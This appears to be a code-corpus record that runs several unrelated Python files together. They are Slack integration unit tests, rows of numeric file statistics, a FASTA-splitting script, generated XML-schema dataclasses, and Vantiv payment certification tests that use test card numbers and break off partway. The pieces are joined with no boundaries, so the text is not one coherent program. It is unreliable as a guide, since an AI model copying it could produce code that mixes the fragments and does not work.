err_response: SlackResponse = SlackResponse(api_url='', client=None, http_verb='GET', req_args={},
data={'ok': False}, status_code=500, headers={})
first_call = {'members': js.loads(USERS), 'response_metadata': {'next_cursor': 'dGVhbTpDQ0M3UENUTks='}}
second_call = SlackApiError('Whoops!', err_response)
third_call = {'members': [{'id': 'U248918AB', 'name': 'alexios'}], 'response_metadata': {'next_cursor': ''}}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=[first_call, second_call, third_call])
# Arrange
with pytest.raises(SlackApiError):
get_user_by_name('alexios')
args = slack.WebClient.api_call.call_args_list
first_args = args[0][1]
# Assert
assert len(first_args['params']) == 1
assert first_args['params']['limit'] == 200
assert slack.WebClient.api_call.call_count == 2
def test_message_setting_name_and_icon(mocker):
from Slack import send_slack_request_sync, init_globals
mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'})
init_globals()
# Set
mocker.patch.object(slack.WebClient, 'api_call')
# Arrange
send_slack_request_sync(slack.WebClient, 'chat.postMessage', body={'channel': 'c', 'text': 't'})
send_args = slack.WebClient.api_call.call_args[1]
# Assert
assert 'username' in send_args['json']
assert 'icon_url' in send_args['json']
def test_message_not_setting_name_and_icon(mocker):
from Slack import send_slack_request_sync, init_globals
mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'})
init_globals()
# Set
mocker.patch.object(slack.WebClient, 'api_call')
# Arrange
send_slack_request_sync(slack.WebClient, 'conversations.setTopic', body={'channel': 'c', 'topic': 't'})
send_args = slack.WebClient.api_call.call_args[1]
# Assert
assert 'username' not in send_args['json']
assert 'icon_url' not in send_args['json']
@pytest.mark.asyncio
async def test_message_setting_name_and_icon_async(mocker):
from Slack import send_slack_request_async, init_globals
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
return
mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'})
init_globals()
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Arrange
await send_slack_request_async(slack.WebClient, 'chat.postMessage', body={'channel': 'c', 'text': 't'})
send_args = slack.WebClient.api_call.call_args[1]
# Assert
assert 'username' in send_args['json']
assert 'icon_url' in send_args['json']
@pytest.mark.asyncio
async def test_message_not_setting_name_and_icon_async(mocker):
from Slack import send_slack_request_async, init_globals
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
return
mocker.patch.object(demisto, 'params', return_value={'bot_name': 'kassandra', 'bot_icon': 'coolimage'})
init_globals()
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Arrange
await send_slack_request_async(slack.WebClient, 'conversations.setTopic', body={'channel': 'c', 'topic': 't'})
send_args = slack.WebClient.api_call.call_args[1]
# Assert
assert 'username' not in send_args['json']
assert 'icon_url' not in send_args['json']
def test_set_proxy_and_ssl(mocker):
import Slack
import ssl
# Set
mocker.patch.object(demisto, 'params', return_value={'unsecure': 'true', 'proxy': 'true'})
mocker.patch.object(slack, 'WebClient')
mocker.patch.object(Slack, 'handle_proxy', return_value={'https': 'https_proxy', 'http': 'http_proxy'})
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# Arrange
Slack.init_globals()
init_args = slack.WebClient.call_args[1]
assert init_args['ssl'].check_hostname is False
assert init_args['ssl'].verify_mode == ssl.CERT_NONE
assert init_args['proxy'] == 'http_proxy'
def test_set_proxy_by_url(mocker):
import Slack
import ssl
# Set
mocker.patch.object(demisto, 'params', return_value={'unsecure': 'true', 'proxy': 'true', 'proxy_url': 'my_proxy'})
mocker.patch.object(slack, 'WebClient')
mocker.patch.object(Slack, 'handle_proxy', return_value={'https': 'https_proxy', 'http': 'http_proxy'})
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# Arrange
Slack.init_globals()
init_args = slack.WebClient.call_args[1]
assert init_args['ssl'].check_hostname is False
assert init_args['ssl'].verify_mode == ssl.CERT_NONE
assert init_args['proxy'] == 'my_proxy'
def test_unset_proxy_and_ssl(mocker):
from Slack import init_globals
# Set
mocker.patch.object(slack, 'WebClient')
# Arrange
init_globals()
init_args = slack.WebClient.call_args[1]
assert init_args['ssl'] is None
assert init_args['proxy'] is None
| 36.321678
| 120
| 0.655564
| 18,227
| 150,626
| 5.206287
| 0.034784
| 0.051815
| 0.078107
| 0.075368
| 0.916097
| 0.895274
| 0.872986
| 0.858939
| 0.845081
| 0.831561
| 0
| 0.036339
| 0.20764
| 150,626
| 4,146
| 121
| 36.330439
| 0.75876
| 0.015668
| 0
| 0.77549
| 0
| 0.004051
| 0.252909
| 0.061284
| 0.000675
| 0
| 0
| 0
| 0.175219
| 1
| 0.042201
| false
| 0
| 0.038488
| 0.004051
| 0.119514
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e07605b4cc31640fec7dfa9083dee1a0bc444000
| 553
|
py
|
Python
|
data/gen/nguyen_nc_2018/20190613-fastas/test_one.py
|
decareano/mitolin
|
1f333a800796dde8816fd55079e1e2d7fb452394
|
[
"BSD-3-Clause"
] | null | null | null |
data/gen/nguyen_nc_2018/20190613-fastas/test_one.py
|
decareano/mitolin
|
1f333a800796dde8816fd55079e1e2d7fb452394
|
[
"BSD-3-Clause"
] | null | null | null |
data/gen/nguyen_nc_2018/20190613-fastas/test_one.py
|
decareano/mitolin
|
1f333a800796dde8816fd55079e1e2d7fb452394
|
[
"BSD-3-Clause"
] | null | null | null |
import errno
mylines = []
with open('chrMchr1-1.fasta.eg', 'r') as myfile:
for a_line in myfile:
if a_line == '>2 chr1:1-X\n':
break
mylines.append(a_line.rstrip('\n'))
with open('chrMchr1_1_ONLY.fasta.eg', 'w') as writer:
writer.writelines("%s\n" % i for i in mylines)
mylines = []
with open('chrMchr1-2.fasta.eg', 'r') as myfile:
for a_line in myfile:
if a_line == '>2 chr1:1-X\n':
break
mylines.append(a_line.rstrip('\n'))
with open('chrMchr1_2_ONLY.fasta.eg', 'w') as writer:
writer.writelines("%s\n" % i for i in mylines)
| 23.041667
| 53
| 0.652803
| 100
| 553
| 3.51
| 0.3
| 0.08547
| 0.182336
| 0.131054
| 0.826211
| 0.826211
| 0.826211
| 0.826211
| 0.826211
| 0.826211
| 0
| 0.030238
| 0.162749
| 553
| 24
| 54
| 23.041667
| 0.727862
| 0
| 0
| 0.705882
| 0
| 0
| 0.231047
| 0.086643
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.058824
| 0
| 0.058824
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e077cd3f33ed8d081a201a38df3d48c5a1a8e018
| 1,836
|
py
|
Python
|
output/models/ibm_data/valid/s3_4_6/s3_4_6v08_xsd/s3_4_6v08.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 1
|
2021-08-14T17:59:21.000Z
|
2021-08-14T17:59:21.000Z
|
output/models/ibm_data/valid/s3_4_6/s3_4_6v08_xsd/s3_4_6v08.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 4
|
2020-02-12T21:30:44.000Z
|
2020-04-15T20:06:46.000Z
|
output/models/ibm_data/valid/s3_4_6/s3_4_6v08_xsd/s3_4_6v08.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | null | null | null |
from dataclasses import dataclass, field
from typing import Optional
__NAMESPACE__ = "http://xstest-tns/schema11_S3_4_6"
@dataclass
class CmplxBase:
class Meta:
name = "cmplxBase"
element1: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
element2: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
element3: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
element4: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
@dataclass
class Derived:
class Meta:
name = "derived"
element4: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
element3: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
element2: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
element1: Optional[int] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
@dataclass
class Root(Derived):
class Meta:
name = "root"
namespace = "http://xstest-tns/schema11_S3_4_6"
| 20.629213
| 55
| 0.464597
| 141
| 1,836
| 5.978723
| 0.234043
| 0.104389
| 0.151839
| 0.218268
| 0.811388
| 0.811388
| 0.811388
| 0.811388
| 0.730724
| 0.730724
| 0
| 0.016334
| 0.399782
| 1,836
| 88
| 56
| 20.863636
| 0.748639
| 0
| 0
| 0.670886
| 0
| 0
| 0.164488
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.025316
| 0
| 0.202532
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0ec219392a69df7efcbb6e99a16f561956369858
| 47,977
|
py
|
Python
|
tests/certification/required/test_cert_auth_dict.py
|
isunnapud/vantiv-sdk-for-python
|
85ea6ba160c2436a305b9326cbb7d6c8f127c57c
|
[
"MIT"
] | 4
|
2017-11-16T16:02:06.000Z
|
2021-05-04T14:40:08.000Z
|
tests/certification/required/test_cert_auth_dict.py
|
isunnapud/vantiv-sdk-for-python
|
85ea6ba160c2436a305b9326cbb7d6c8f127c57c
|
[
"MIT"
] | 7
|
2017-08-23T15:04:38.000Z
|
2020-04-07T20:20:15.000Z
|
tests/certification/required/test_cert_auth_dict.py
|
isunnapud/vantiv-sdk-for-python
|
85ea6ba160c2436a305b9326cbb7d6c8f127c57c
|
[
"MIT"
] | 13
|
2017-10-17T22:07:57.000Z
|
2022-03-29T17:33:42.000Z
|
# -*- coding: utf-8 -*-
# Copyright (c) 2017 Vantiv eCommerce
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation
# files (the 'Software'), to deal in the Software without
# restriction, including without limitation the rights to use,
# copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following
# conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
from __future__ import print_function, absolute_import
import os
import sys
import unittest
import pprint
package_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(os.path.dirname(__file__)))))
sys.path.insert(0, package_root)
package_root = os.path.dirname(os.path.abspath(os.path.dirname(__file__)))
sys.path.insert(0, package_root)
import certification_test_conf
conf = certification_test_conf.conf
from vantivsdk import *
class TestCertAuthsDict(unittest.TestCase):
def test_table_2_1_1_auth(self):
txn_dict = {
'authorization': {
'orderId': '1',
'amount': 10100,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'John & Mary Smith',
'addressLine1': '1 Main St.',
'city': 'Burlington',
'state': 'MA',
'zip': '01803-3747',
'country': 'USA',
},
'card': {
'number': '4457010000000009',
'expDate': '0121',
'cardValidationNum': '349',
'type': 'VI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('11111', response['authorizationResponse']['authCode'])
self.assertEquals('01', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
# orderId *A
txn_dict = {
'capture': {
'cnpTxnId': response['authorizationResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
captureresponse = online.request(txn_dict, conf)
self.assertEquals('000', captureresponse['captureResponse']['response'])
self.assertEquals('Approved', captureresponse['captureResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_1_avs(self):
txn_dict = {
'authorization': {
'orderId': '1',
'amount': '000',
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'John & Mary Smith',
'addressLine1': '1 Main St.',
'city': 'Burlington',
'state': 'MA',
'zip': '01803-3747',
'country': 'USA',
},
'card': {
'number': '4457010000000009',
'expDate': '0121',
'cardValidationNum': '349',
'type': 'VI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('11111', response['authorizationResponse']['authCode'])
self.assertEquals('01', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_1_sale(self):
txn_dict = {
'sale': {
'orderId': '1',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'John & Mary Smith',
'addressLine1': '1 Main St.',
'city': 'Burlington',
'state': 'MA',
'zip': '01803-3747',
'country': 'USA',
},
'card': {
'number': '4457010000000009',
'expDate': '0121',
'cardValidationNum': '349',
'type': 'VI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['saleResponse']['response'])
self.assertEquals('Approved', response['saleResponse']['message'])
self.assertEquals('11111', response['saleResponse']['authCode'])
self.assertEquals('01', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': response['saleResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_2_auth(self):
# orderId 2
txn_dict = {
'authorization': {
'orderId': '2',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Mike J. Hammer',
'addressLine1': '2 Main St.',
'addressLine2': 'Apt. 222',
'city': 'Riverside',
'state': 'RI',
'zip': '02915',
'country': 'USA',
},
'card': {
'number': '5112010000000003',
'expDate': '0221',
'cardValidationNum': '261',
'type': 'MC',
},
'cardholderAuthentication':{
'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('22222', response['authorizationResponse']['authCode'])
self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
self.assertNotIn('authenticationResult', response['authorizationResponse']['fraudResult'])
# orderId *A
txn_dict = {
'capture': {
'cnpTxnId': response['authorizationResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
captureresponse = online.request(txn_dict, conf)
self.assertEquals('000', captureresponse['captureResponse']['response'])
self.assertEquals('Approved', captureresponse['captureResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_2_avs(self):
# orderId 2
txn_dict = {
'authorization': {
'orderId': '2',
'amount': '000',
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Mike J. Hammer',
'addressLine1': '2 Main St.',
'addressLine2': 'Apt. 222',
'city': 'Riverside',
'state': 'RI',
'zip': '02915',
'country': 'USA',
},
'card': {
'number': '5112010000000003',
'expDate': '0221',
'cardValidationNum': '261',
'type': 'MC',
},
'cardholderAuthentication':{
'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('22222', response['authorizationResponse']['authCode'])
self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
self.assertNotIn('authenticationResult', response['authorizationResponse']['fraudResult'])
def test_table_2_1_2_sale(self):
txn_dict = {
'sale': {
'orderId': '2',
'amount': 10100,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Mike J. Hammer',
'addressLine1': '2 Main St.',
'addressLine2': 'Apt. 222',
'city': 'Riverside',
'state': 'RI',
'zip': '02915',
'country': 'USA',
},
'card': {
'number': '5112010000000003',
'expDate': '0221',
'cardValidationNum': '261',
'type': 'MC',
},
'cardholderAuthentication':{
'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['saleResponse']['response'])
self.assertEquals('Approved', response['saleResponse']['message'])
self.assertEquals('22222', response['saleResponse']['authCode'])
self.assertEquals('10', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult'])
self.assertNotIn('authenticationResult', response['saleResponse']['fraudResult'])
# orderId *A
# capture = fields.capture()
# capture.cnpTxnId = response['authorizationResponse']['cnpTxnId']
# captureresponse = online.request(capture, conf)
# self.assertEquals('000', captureresponse['authorizationResponse']['response'])
# self.assertEquals('Approved', captureresponse['authorizationResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': response['saleResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_3_auth(self):
txn_dict = {
'authorization': {
'orderId': '3',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Eileen Jones',
'addressLine1': '3 Main St.',
'city': 'Bloomfield',
'state': 'CT',
'zip': '06002',
'country': 'USA',
},
'card': {
'number': '6011010000000003',
'expDate': '0321',
'cardValidationNum': '758',
'type': 'DI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('33333', response['authorizationResponse']['authCode'])
self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
# orderId *A
txn_dict = {
'capture': {
'cnpTxnId': response['authorizationResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
captureresponse = online.request(txn_dict, conf)
self.assertEquals('000', captureresponse['captureResponse']['response'])
self.assertEquals('Approved', captureresponse['captureResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_3_avs(self):
txn_dict = {
'authorization': {
'orderId': '3',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Eileen Jones',
'addressLine1': '3 Main St.',
'city': 'Bloomfield',
'state': 'CT',
'zip': '06002',
'country': 'USA',
},
'card': {
'number': '6011010000000003',
'expDate': '0321',
'cardValidationNum': '758',
'type': 'DI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('33333', response['authorizationResponse']['authCode'])
self.assertEquals('10', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
def test_table_2_1_3_sale(self):
txn_dict = {
'sale': {
'orderId': '3',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Eileen Jones',
'addressLine1': '3 Main St.',
'city': 'Bloomfield',
'state': 'CT',
'zip': '06002',
'country': 'USA',
},
'card': {
'number': '6011010000000003',
'expDate': '0321',
'cardValidationNum': '758',
'type': 'DI',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['saleResponse']['response'])
self.assertEquals('Approved', response['saleResponse']['message'])
self.assertEquals('33333', response['saleResponse']['authCode'])
self.assertEquals('10', response['saleResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult'])
# orderId *A
txn_dict = {
'capture': {
'cnpTxnId': response['saleResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
captureresponse = online.request(txn_dict, conf)
self.assertEquals('000', captureresponse['captureResponse']['response'])
self.assertEquals('Approved', captureresponse['captureResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_4_auth(self):
txn_dict = {
'authorization': {
'orderId': '4',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Bob Black',
'addressLine1': '4 Main St.',
'city': 'Laurel',
'state': 'MD',
'zip': '20708',
'country': 'USA',
},
'card': {
'number': '375001000000005',
'expDate': '0421',
'type': 'AX',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('44444', response['authorizationResponse']['authCode'])
self.assertEquals('13', response['authorizationResponse']['fraudResult']['avsResult'])
# orderId *A
txn_dict = {
'capture': {
'cnpTxnId': response['authorizationResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
captureresponse = online.request(txn_dict, conf)
self.assertEquals('000', captureresponse['captureResponse']['response'])
self.assertEquals('Approved', captureresponse['captureResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
self.assertEquals('Approved', voidresponse['voidResponse']['message'])
def test_table_2_1_4_avs(self):
# orderId *
txn_dict = {
'authorization': {
'orderId': '4',
'amount': '000',
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Bob Black',
'addressLine1': '4 Main St.',
'city': 'Laurel',
'state': 'MD',
'zip': '20708',
'country': 'USA',
},
'card': {
'number': '375001000000005',
'expDate': '0421',
'type': 'AX',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('44444', response['authorizationResponse']['authCode'])
self.assertEquals('13', response['authorizationResponse']['fraudResult']['avsResult'])
def test_table_2_1_4_sale(self):
# orderId *
txn_dict = {
'sale': {
'orderId': '4',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'billToAddress': {
'name': 'Bob Black',
'addressLine1': '4 Main St.',
'city': 'Laurel',
'state': 'MD',
'zip': '20708',
'country': 'USA',
},
'card': {
'number': '375001000000005',
'expDate': '0421',
'type': 'AX',
}
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['saleResponse']['response'])
self.assertEquals('Approved', response['saleResponse']['message'])
self.assertEquals('44444', response['saleResponse']['authCode'])
self.assertEquals('13', response['saleResponse']['fraudResult']['avsResult'])
# orderId *A
txn_dict = {
'capture': {
'cnpTxnId': response['saleResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
captureresponse = online.request(txn_dict, conf)
self.assertEquals('000', captureresponse['captureResponse']['response'])
self.assertEquals('Approved', captureresponse['captureResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
def test_table_2_1_5_auth(self):
txn_dict = {
'authorization': {
'orderId': '5',
'amount': 10010,
'orderSource': 'ecommerce',
'id': 'thisisid',
'cardholderAuthentication': {
'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=',
},
'card': {
'number': '4100200300011001',
'expDate': '0521',
'cardValidationNum': '463',
'type': 'VI',
},
}
}
response = online.request(txn_dict, conf)
self.assertEquals('000', response['authorizationResponse']['response'])
self.assertEquals('Approved', response['authorizationResponse']['message'])
self.assertEquals('55555', response['authorizationResponse']['authCode'])
self.assertEquals('32', response['authorizationResponse']['fraudResult']['avsResult'])
self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult'])
# orderId *A
txn_dict = {
'capture': {
'cnpTxnId': response['authorizationResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
captureresponse = online.request(txn_dict, conf)
self.assertEquals('000', captureresponse['captureResponse']['response'])
self.assertEquals('Approved', captureresponse['captureResponse']['message'])
# orderId *B
txn_dict = {
'credit': {
'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
creditresponse = online.request(txn_dict, conf)
self.assertEquals('000', creditresponse['creditResponse']['response'])
self.assertEquals('Approved', creditresponse['creditResponse']['message'])
# orderId *C
txn_dict = {
'void': {
'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'],
'id': 'ThisIsID'
}
}
voidresponse = online.request(txn_dict, conf)
self.assertEquals('000', voidresponse['voidResponse']['response'])
